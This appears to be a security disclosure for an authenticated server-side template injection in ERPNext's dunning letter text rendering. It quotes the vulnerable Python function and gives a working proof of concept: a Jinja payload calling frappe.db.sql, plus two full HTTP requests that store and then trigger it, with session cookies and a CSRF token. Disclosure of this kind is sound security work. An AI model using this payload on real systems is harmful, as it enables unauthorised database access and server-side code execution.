Description:

An authenticated SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of ERPNext. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals().

An attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Vulnerable source code:

File: erpnext/accounts/doctype/dunning/dunning.py

@frappe.whitelist()
def get_dunning_letter_text(dunning_type: str, doc: str | dict, language: str | None = None) -> dict:
	DOCTYPE = "Dunning Letter Text"
	FIELDS = ["body_text", "closing_text", "language"]

	if isinstance(doc, str):
		doc = json.loads(doc)

	if not language:
		language = doc.get("language")

	letter_text = None
	if language:
		letter_text = frappe.db.get_value(
			DOCTYPE, {"parent": dunning_type, "language": language}, FIELDS, as_dict=1
		)

	if not letter_text:
		letter_text = frappe.db.get_value(
			DOCTYPE, {"parent": dunning_type, "is_default_language": 1}, FIELDS, as_dict=1
		)

	if not letter_text:
		return {}

	return {
		"body_text": frappe.render_template(letter_text.body_text, doc),
		"closing_text": frappe.render_template(letter_text.closing_text, doc),
		"language": letter_text.language,
	}

Request set body_text = {{ frappe.db.sql("SELECT @@version") }}

POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/dunning-type/SSTI-Test%20-%20A>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 1288
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=

doc=%7B%22name%22%3A%22SSTI-Test+-+A%22%2C%22owner%22%3A%22Administrator%22%2C%22creation%22%3A%222025-07-18+11%3A00%3A36.290743%22%2C%22modified%22%3A%222025-07-22+09%3A19%3A57.416878%22%2C%22modified_by%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A0%2C%22dunning_type%22%3A%22SSTI-Test%22%2C%22is_default%22%3A0%2C%22company%22%3A%22a%22%2C%22dunning_fee%22%3A100%2C%22rate_of_interest%22%3A0%2C%22doctype%22%3A%22Dunning+Type%22%2C%22dunning_letter_text%22%3A%5B%7B%22name%22%3A%22h7bdhjsggh%22%2C%22owner%22%3A%22Administrator%22%2C%22creation%22%3A%222025-07-18+11%3A00%3A36.290743%22%2C%22modified%22%3A%222025-07-22+09%3A19%3A57.416878%22%2C%22modified_by%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A1%2C%22language%22%3A%22en%22%2C%22is_default_language%22%3A0%2C%22body_text%22%3A%22%3Cdiv+class%3D%5C%22ql-editor+read-mode%5C%22%3E%3Cp%3E%7B%7B+frappe.db.sql(%5C%22SELECT+%40%40version%5C%22)+%7D%7D%3C%2Fp%3E%3C%2Fdiv%3E%22%2C%22closing_text%22%3A%22%3Cdiv+class%3D%5C%22ql-editor+read-mode%5C%22%3E%3Cp%3Ez%3C%2Fp%3E%3C%2Fdiv%3E%22%2C%22parent%22%3A%22SSTI-Test+-+A%22%2C%22parentfield%22%3A%22dunning_letter_text%22%2C%22parenttype%22%3A%22Dunning+Type%22%2C%22doctype%22%3A%22Dunning+Letter+Text%22%7D%5D%2C%22__unsaved%22%3A1%7D&action=Save

Request trigger

POST /api/method/erpnext.accounts.doctype.dunning.dunning.get_dunning_letter_text HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
ssssAccept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/dunning/new-dunning-uhxmpmvrfw>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 1112
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=

dunning_type=SSTI-Test+-+A&language=en&doc=%7B%22docstatus%22%3A0%2C%22doctype%22%3A%22Dunning%22%2C%22name%22%3A%22new-dunning-uhxmpmvrfw%22%2C%22__islocal%22%3A1%2C%22__unsaved%22%3A1%2C%22owner%22%3A%22Administrator%22%2C%22naming_series%22%3A%22DUNN-.MM.-.YY.-%22%2C%22company%22%3A%22a%22%2C%22posting_date%22%3A%222025-07-18%22%2C%22status%22%3A%22Unresolved%22%2C%22currency%22%3A%22THB%22%2C%22rate_of_interest%22%3A0%2C%22overdue_payments%22%3A%5B%5D%2C%22total_interest%22%3A0%2C%22dunning_fee%22%3A100%2C%22dunning_amount%22%3A100%2C%22base_dunning_amount%22%3A100%2C%22grand_total%22%3A100%2C%22language%22%3A%22en%22%2C%22conversion_rate%22%3A1%2C%22company_address%22%3Anull%2C%22address_display%22%3Anull%2C%22customer%22%3A%22iamanc%22%2C%22customer_name%22%3A%22iamanc%22%2C%22customer_address%22%3Anull%2C%22company_address_display%22%3Anull%2C%22contact_person%22%3Anull%2C%22contact_display%22%3Anull%2C%22contact_email%22%3Anull%2C%22contact_mobile%22%3Anull%2C%22dunning_type%22%3A%22SSTI-Test+-+A%22%2C%22total_outstanding%22%3A0%2C%22income_account%22%3Anull%2C%22cost_center%22%3Anull%7D

PoC

image.png